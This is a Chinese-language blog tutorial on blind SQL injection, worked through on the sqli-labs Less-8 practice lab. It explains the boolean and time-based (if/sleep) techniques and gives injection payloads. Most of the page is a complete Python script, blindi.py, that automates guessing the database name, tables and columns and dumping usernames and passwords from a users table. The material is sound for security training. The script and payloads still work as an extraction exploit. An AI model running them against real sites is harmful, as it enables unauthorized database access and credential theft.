当前位置:   article > 正文

【SQL注入】盲注_sql注入if函数

sql注入if函数

其他相关文章:

SQL注入基础

报错注入

盲注

用于页面注入无回显并且不会打印错误信息的情况.

盲注类型

布尔型盲注,延时盲注

布尔型盲注

注入页面虽然无回显,但是根据注入造成的不同布尔值(true与false)页面会有不同的结果这便是布尔型盲注.

if函数:if(condition, value_if_true, value_if_false),condition为判断条件,参数二与参数三分别为条件为true和false时将做出的反应.

sleep函数:sleep(duration),该函数作用是休眠,duration为休眠时长,单位为秒.

 mid函数:mid(str,pos,len),mid is a synonym for substring(str,pos,len).mid函数是substring函数的同义词,作用为截取字符串,从第二个参数开始截取,截取长度由第三个参数指定.

 延时盲注

和布尔型盲注差别没有特别大,布尔型盲注判断正误的依据是布尔值不同页面呈现的不同反应,延时盲注判断正误的依据则是页面响应的时间.

例题:sqlilabs Less-8

payload: 1'and '1'='1

 payload: 1' and '1'='2

可以看到,当布尔值为true(1=1)时,页面有You are in....字样,布尔值为false(1=2)时却没有.

为便于理解,先试着注入出数据库名.

爆数据库名

payload:1' and length(database())>'1

这是显而易见的true,数据库名自然是大于等于1的

payload: 1' and length(database())>'100

这是显而易见的false.

数据库名长度,大于7却不大于8,那自然就等于8.

很清楚,当出现You are in...字样时便意味着猜测正确.下面开始具体的爆数据库名.

payload:1' and mid(database(),1,1)='a

payload:1' and mid(database(),1,1)='s

 所以数据库第一个字母为s.

payload:1' and mid(database(),2,1)='e

 第二个字母为e.

手动进行注入,效率其实还挺低,所以我们可以写一个脚本来跑,如下

运行结果为:

爆表名与字段

这里采用if+sleep延时盲注的方法进行注入,如果要采用布尔型盲注,方法和上面是一样的,区别只在于payload的编写.

已知数据库名长度为8,我们用延时盲注来验证一下,以便于理解延时盲注.

payload:1' and if(length(database())=8,sleep(1),1) --+

执行后,页面不会有什么变化,但是我们可以明显感觉到页面响应时间变长了,用burpsuite可以看见响应时间为1002millis也即是1.002s,正常响应时间0.002s加上sleep的1s.所以可以明白,布尔型注入判断猜解是否正确的标准是响应页面的反应,而延时盲注判断猜解是否正确的标准则是时间.

 payload:1' and if(length(database())=9,sleep(1),1) --+

 可以看到响应时间为1millis也即是0.001s

利用这个特性来猜解表名.为提升效率,我还是写一个脚本,如下.

 运行结果如下:

 爆字段代码如下:

运行结果如下:

 爆字段值

运行结果如下 :

 整合一下,自动化后代码如下:

  1. #-*- coding:utf-8 -*-
  2. # Author:@4ut15m
  3. # filename:blindi.py
  4. import requests
  5. url = "http://anicekid/sqlilabs/Less-8/"
  6. codeset = "abcdefghijklmnopqrstuvwxyz+-*/_0123456789"+" " # 字符集
  7. yes = "You are in"
  8. def dump_database(url):
  9. database = ""
  10. print "正在猜解数据库名......"
  11. for i in range(1,9) :
  12. for x in codeset:
  13. payload = "1' and mid(database(),{a},1)='{b}".format(a=str(i),b=x)
  14. param = {"id":payload}
  15. res = requests.get(url=url,params=param)
  16. if yes in res.text:
  17. database += x
  18. break
  19. print "数据库名为:"+database
  20. return database
  21. # Author:4ut15m
  22. def dump_tables(url,database):
  23. # 先暴破表数
  24. tables_number = 0
  25. tables = ""
  26. print "正在猜解表数......"
  27. for i in range(1,20):
  28. payload = "?id=1' and if((select count(*) from information_schema.tables where table_schema=database())={},sleep(0.1),1) --+".format(str(i))
  29. try:
  30. res = requests.get(url=url+payload, timeout=0.1)
  31. except requests.exceptions.ReadTimeout:
  32. tables_number = i
  33. break
  34. print "数据库"+database+"中共有"+str(tables_number)+"张表"
  35. # 依次猜解表名
  36. name_length = 0
  37. for i in range(tables_number):
  38. # 先判断表名长度
  39. for a in range(1,20):
  40. payload = "?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit {},1))={},sleep(0.1),1) --+".format(str(i),str(a))
  41. try:
  42. res = requests.get(url=url+payload, timeout=0.1)
  43. except requests.exceptions.ReadTimeout:
  44. name_length = a
  45. break
  46. print "第{}张表,表名长度为{}".format(str(i+1),str(name_length))
  47. # 开始猜解表名
  48. for b in range(1,name_length+1):
  49. for x in codeset:
  50. payload = "?id=1' and if(mid((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1)='{}',sleep(0.1),1) --+".format(str(i),str(b),x)
  51. try:
  52. res = requests.get(url=url+payload, timeout=0.1)
  53. except requests.exceptions.ReadTimeout:
  54. tables += x
  55. if i!=tables_number-1 :
  56. print "当前表有:"+tables
  57. tables +=","
  58. else :
  59. print "数据库"+database+"所有表为:"+tables
  60. return tables
  61. #Author:4ut15m
  62. def dump_columns(url,tables):
  63. table = tables.split(',')
  64. # 先暴破字段数
  65. columns_number = 0
  66. columns = ""
  67. for i in range(1,20):
  68. payload = "?id=1' and if((select count(*) from information_schema.columns where table_schema=database() and table_name='{}')={},sleep(0.1),1) --+".format(table[0],str(i))
  69. try:
  70. res = requests.get(url=url+payload, timeout=0.1)
  71. except requests.exceptions.ReadTimeout:
  72. columns_number = i
  73. break
  74. print "{}表中共有{}个字段".format(table[0],str(columns_number))
  75. # 依次猜解字段名
  76. name_length = 0
  77. for i in range(columns_number):
  78. # 先判断字段名长度
  79. for a in range(1,20):
  80. payload = "?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},1))={},sleep(0.1),1) --+".format(table[0],str(i),str(a))
  81. try:
  82. res = requests.get(url=url+payload, timeout=0.1)
  83. except requests.exceptions.ReadTimeout:
  84. name_length = a
  85. break
  86. print "第{}个字段,字段名长度为{}".format(str(i+1),str(name_length))
  87. # 开始猜解表名
  88. for b in range(1,name_length+1):
  89. for x in codeset:
  90. payload = "?id=1' and if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},1),{},1)='{}',sleep(0.1),1) --+".format(table[0],str(i),str(b),x)
  91. try:
  92. res = requests.get(url=url+payload, timeout=0.1)
  93. except requests.exceptions.ReadTimeout:
  94. columns += x
  95. if i!=columns_number-1 :
  96. print "当前字段有:"+columns
  97. columns +=","
  98. else :
  99. print "users表中所有字段为:"+columns
  100. return columns
  101. # Author:4ut15m
  102. def dump(url,columns):
  103. column = columns.split(',')
  104. # 先判断长度
  105. dump_length = 0
  106. dump = ""
  107. for i in range(200):
  108. payload = "?id=1' and if(length((select group_concat({},{}) from users))={},sleep(0.1),1) --+".format(column[1],column[2],str(i))
  109. try:
  110. res = requests.get(url=url+payload, timeout=0.1)
  111. except requests.exceptions.ReadTimeout:
  112. dump_length = i;
  113. break
  114. print "字段值长度为:"+str(dump_length)
  115. # dump值
  116. print "正在猜解,请等待...."
  117. for i in range(1,dump_length+1):
  118. for asci in range(33,128):
  119. payload = "?id=1' and if(ascii(mid((select group_concat({},{}) from users),{},1))={},sleep(0.1),1) --+".format(column[1],column[2],str(i),str(asci))
  120. try:
  121. res = requests.get(url=url+payload, timeout=0.1)
  122. except requests.exceptions.ReadTimeout:
  123. if chr(asci) != ',':
  124. dump += chr(asci)
  125. else :
  126. dump += "\n"
  127. break
  128. print "users表中username,password 字段值为:\n"+dump
  129. database = dump_database(url)
  130. tables = dump_tables(url,database)
  131. columns = dump_columns(url,tables)
  132. dump(url,columns)

运行结果如下:

 emmmm..以后会考虑写一个普适性强一点的脚本.

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/139301
推荐阅读
相关标签
  

闽ICP备14008679号